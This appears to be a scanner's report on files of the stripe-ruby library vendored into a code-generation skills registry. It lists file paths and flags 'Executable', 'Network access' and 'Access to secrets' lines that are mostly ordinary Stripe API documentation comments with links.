# Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to th - Network accessline 191
# Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take your customers to a hosted login page for the customer porta - Network accessline 200
# The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/create#create_portal_session-return_url) when creating t - Network accessline 206
# The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share). - Network accessline 208
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing_portal/configuration_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing_portal/configuration_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing_portal/configuration_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 131
# Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to th - Network accessline 191
# Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take your customers to a hosted login page for the customer porta - Network accessline 204
# The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/create#create_portal_session-return_url) when creating t - Network accessline 210
# The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share). - Network accessline 212
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing_portal/session_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 94
# The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated. - Network accessline 96
# The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.products`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_ - Network accessline 98
# [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through this flow. - Network accessline 109
# The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and subscriptions with multiple items are not updatable. - Network accessline 145
# The ID of an existing [configuration](https://docs.stripe.com/api/customer_portal/configuration) to use for this session, describing its functionality and features. If not specified, the session uses the default configuration. - Network accessline 153
# Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/customer-management/portal-deep-links) to learn more about using customer portal deep links and flows. - Network accessline 157
# The `on_behalf_of` account to use for this session. When specified, only subscriptions and invoices with this `on_behalf_of` account appear in the portal. For more information, see the [docs](https://docs.stripe.com/connect/separate-charg
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/charge_capture_params.rb
- Executable scriptline 1
Executable file - Network accessline 24
# For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [ - Network accessline 28
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 30
# An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details. - Network accessline 32
# A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) f
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/charge_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 19
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 31
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 39
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 89
# Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥100, a - Network accessline 93
# A fee in cents (or local equivalent) that will be applied to the charge and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the `Stripe-Account` header in order to take an application f - Network accessline 95
# Whether to immediately capture the charge. Defaults to `true`. When `false`, the charge issues an authorization (or pre-authorization), and will need to be [captured](https://api.stripe.com#capture_charge) later. Uncaptured charges expire - Network accessline 97
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 107
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 109
# The Stripe account ID for which these funds are intended. You can specify the business of record as the connected account using the `on_behalf_of` attribute on the charge. For details, see [Creating Separate Charges and Transfers](https:/ - Network accessline 111
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 113
# The email address to which this charge's [receipt](https://docs.stripe.com/dashboard/receipts) will be sent. The receipt will not be sent until the charge is paid, and no receipts will be sent for test mode charges. If this charge is for - Network accessline 117
# A payment source to be charged. This can be the ID of a [card](https://docs.stripe.com/api#cards) (i.e., credit or debit card), a [bank account](https://docs.stripe.com/api#bank_accounts), a [source](https://docs.stripe.com/api#sources), - Network accessline 119
# For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [ - Network accessline 123
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 125
# An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details. - Network accessline 127
# A string that identifies this transaction as part of a group. For details, see [Grouping transactions](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/charge_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/charge_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/charge_search_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/charge_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 19
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 27
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 73
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 79
# A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) f
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/checkout/session_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 8
# If set to `true`, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize-prices/adaptive-pricing?payment-ui=stripe-hosted#restrictions). Defaults to your [dashboard setting](https://dashb - Network accessline 50
# Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location. - Network accessline 65
# The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type` is `file` and disallowed otherwise. - Network accessline 80
# The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise. - Network accessline 101
# The font family for the Checkout Session corresponding to one of the [supported font families](https://docs.stripe.com/payments/checkout/customization/appearance?payment-ui=stripe-hosted#font-compatibility). - Network accessline 143
# If set to `required`, it requires customers to check a terms of service checkbox before being able to pay. # There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public) - Network accessline 144
# There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public). - Network accessline 387
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 443
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 447
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 480
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 482
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. - Network accessline 484
# Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. - Network accessline 488
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 515
# The [tax rates](https://docs.stripe.com/api/tax_rates) that will be applied to this line item depending on the customer's billing/shipping address. We currently support the following countries: US, GB, AU, and all countries in the EU. - Network accessline 517
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 519
# The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required. - Network accessline 521
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 525
# The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item. - Network accessline 599
# The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. - Network accessline 616
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 624
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 677
# The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu - Network accessline 683
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 689
# Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails). - Network accessline 691
# Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#future-usage) with the payment - Network accessline 714
# Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t - Network accessline 716
# Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. - Network accessline 718
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 720
# The parameters used to automatically create a Transfer when the payment succeeds. # For more information, see the PaymentIntents [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 721
# For more information, see the PaymentIntents [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 723
# A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details. - Access to secretsline 768
[Credential-related source omitted] - Access to secretsline 769
[Credential-related source omitted] - Network accessline 794
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). This is only accepted for Checkout Sessions in `setup` mode. - Network accessline 1024
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 1467
# [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to. - Network accessline 1972
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 2045
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2047
# Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2062
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 2066
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. - Network accessline 2169
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. To use an application fee perc - Network accessline 2179
# The subscription's description, meant to be displayable to the customer. # Use this field to optionally store an explanation of the subscription # for rendering in the [customer portal](https://docs.stripe.com/customer-man - Network accessline 2181
# for rendering in the [customer portal](https://docs.stripe.com/customer-management). - Network accessline 2185
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 2259
# Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing). - Network accessline 2279
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Required in `setup` mode when `payment_method_types` is not set. - Network accessline 2285
# ID of an existing Customer, if one exists. In `payment` mode, the customer’s most recently saved card # payment method will be used to prefill the email, name, card details, and billing address # on the Checkout page. In `subs - Network accessline 2286
# payment method will be used to prefill the email, name, card details, and billing address # on the Checkout page. In `subscription` mode, the customer’s [default payment method](https://docs.stripe.com/api/customers/update#update_cu - Network accessline 2287
# on the Checkout page. In `subscription` mode, the customer’s [default payment method](https://docs.stripe.com/api/customers/update#update_customer-invoice_settings-default_payment_method) - Network accessline 2288
# will be used if it’s a card, otherwise the most recently saved card will be used. A valid billing address, billing name and billing email are required on the payment method for Checkout to prefill the customer's card details. # - Network accessline 2289
# # If the Customer already has a valid [email](https://docs.stripe.com/api/customers/object#customer_object-email) set, the email will be prefilled and not editable in Checkout. # If the Customer does not have a valid `email`, - Network accessline 2290
# If the Customer already has a valid [email](https://docs.stripe.com/api/customers/object#customer_object-email) set, the email will be prefilled and not editable in Checkout. - Network accessline 2293
# If blank for Checkout Sessions in `subscription` mode or with `customer_creation` set as `always` in `payment` mode, Checkout will create a new Customer object based on information provided during the payment flow. # # You can - Network accessline 2295
# You can set [`payment_intent_data.setup_future_usage`](https://docs.stripe.com/api/checkout/sessions/create#create_checkout_session-payment_intent_data-setup_future_usage) to have Checkout automatically attach the payment method to the Cu - Network accessline 2299
# Configure whether a Checkout Session creates a [Customer](https://docs.stripe.com/api/customers) during Session confirmation. - Network accessline 2300
# # When a Customer is not created, you can still retrieve email, address, and other customer data entered in Checkout # with [customer_details](https://docs.stripe.com/api/checkout/sessions/object#checkout_session_object-custom - Network accessline 2301
# When a Customer is not created, you can still retrieve email, address, and other customer data entered in Checkout # with [customer_details](https://docs.stripe.com/api/checkout/sessions/object#checkout_session_object-customer_detai - Network accessline 2302
# with [customer_details](https://docs.stripe.com/api/checkout/sessions/object#checkout_session_object-customer_details). - Network accessline 2303
# # Sessions that don't create Customers instead are grouped by [guest customers](https://docs.stripe.com/payments/checkout/guest-customers) # in the Dashboard. Promotion codes limited to first time customers will return invalid - Network accessline 2304
# Sessions that don't create Customers instead are grouped by [guest customers](https://docs.stripe.com/payments/checkout/guest-customers) - Network accessline 2319
# A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this Checkout Session are managed through the [Stripe Dashboard](https://dashboard - Network accessline 2327
# A list of items the customer is purchasing. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices). The parameter is required for `payment` and `subscription` mode. - Network accessline 2335
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 2341
# You can configure Checkout to collect your customers' business names, individual names, or both. Each name field can be either required or optional. # # If a [Customer](https://docs.stripe.com/api/customers) is created or prov - Network accessline 2343
# If a [Customer](https://docs.stripe.com/api/customers) is created or provided, the names can be saved to the Customer object as well. - Network accessline 2345
# A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices). - Network accessline 2360
# Can only be set in `subscription` mode. Defaults to `always`. # # If you'd like information on how to collect a payment method outside of Checkout, read the guide on configuring [subscriptions with a free trial](https://docs.s - Network accessline 2362
# If you'd like information on how to collect a payment method outside of Checkout, read the guide on configuring [subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials). - Network accessline 2370
# A list of the types of payment methods (e.g., `card`) this Checkout Session can accept. # # You can omit this attribute to manage your payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_m - Network accessline 2371
# # You can omit this attribute to manage your payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods). # See [Dynamic Payment Methods](https://docs.stripe.com/payments/payment-methods/ - Network accessline 2372
# You can omit this attribute to manage your payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods). - Network accessline 2373
# See [Dynamic Payment Methods](https://docs.stripe.com/payments/payment-methods/integration-options#using-dynamic-payment-methods) for more details. - Network accessline 2387
# # We recommend that you review your privacy policy and check with your legal contacts # before using this feature. Learn more about [collecting phone numbers with Checkout](https://docs.stripe.com/payments/checkout/phone-numbe - Network accessline 2389
# before using this feature. Learn more about [collecting phone numbers with Checkout](https://docs.stripe.com/payments/checkout/phone-numbers). - Network accessline 2391
# This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=embedded-form) of embedded sessions. Defaults to `always`. - Network accessline 2414
# This parameter is not allowed if ui_mode is `embedded` or `custom`. If you'd like to use # information from the successful Checkout Session on your page, read the # guide on [customizing your success page](https://docs.stripe. - Network accessline 2416
# guide on [customizing your success page](https://docs.stripe.com/payments/checkout/custom-success-page).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/checkout/session_expire_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/checkout/session_line_item_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/checkout/session_list_line_items_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/checkout/session_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/checkout/session_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/checkout/session_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 12
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 20
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 79
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 83
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 116
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 118
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. - Network accessline 120
# Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. - Network accessline 124
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 153
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 155
# The ID of the [Price](https://docs.stripe.com/api/prices). One of `price` or `price_data` is required when creating a new line item. - Network accessline 157
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required when creating a new line item. - Network accessline 161
# The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item. - Network accessline 234
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 236
# Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 251
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 255
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. - Network accessline 306
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/order_cancel_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/order_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 19
# Request currency for the order as a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a supported [settlement currency for your account](https://stripe.com/docs/currencies). If omitt - Network accessline 23
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/order_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/order_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/order_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/product_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/product_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/supplier_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/supplier_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/confirmation_token_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 59
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 67
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 262
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 382
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 410
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 595
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 603
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 645
# Indicates that you intend to make future payments with this ConfirmationToken's payment method. # # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the Paymen - Network accessline 647
# The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the user
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/confirmation_token_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/country_spec_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/country_spec_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/coupon_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 27
# Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `amount_off` parameter (required if `amount_off` is passed). - Network accessline 29
# Coupons defined in each available currency option (only supported if `amount_off` is passed). Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe. - Network accessline 41
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/coupon_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/coupon_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/coupon_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/coupon_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 14
# Coupons defined in each available currency option (only supported if the coupon is amount-based). Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://str - Network accessline 18
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 116
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_line_item_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_list_preview_line_items_params.rb
- Executable scriptline 1
Executable file - Network accessline 120
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_preview_lines_list_params.rb
- Executable scriptline 1
Executable file - Network accessline 120
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_preview_params.rb
- Executable scriptline 1
Executable file - Network accessline 116
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_void_credit_note_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_balance_transaction_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 8
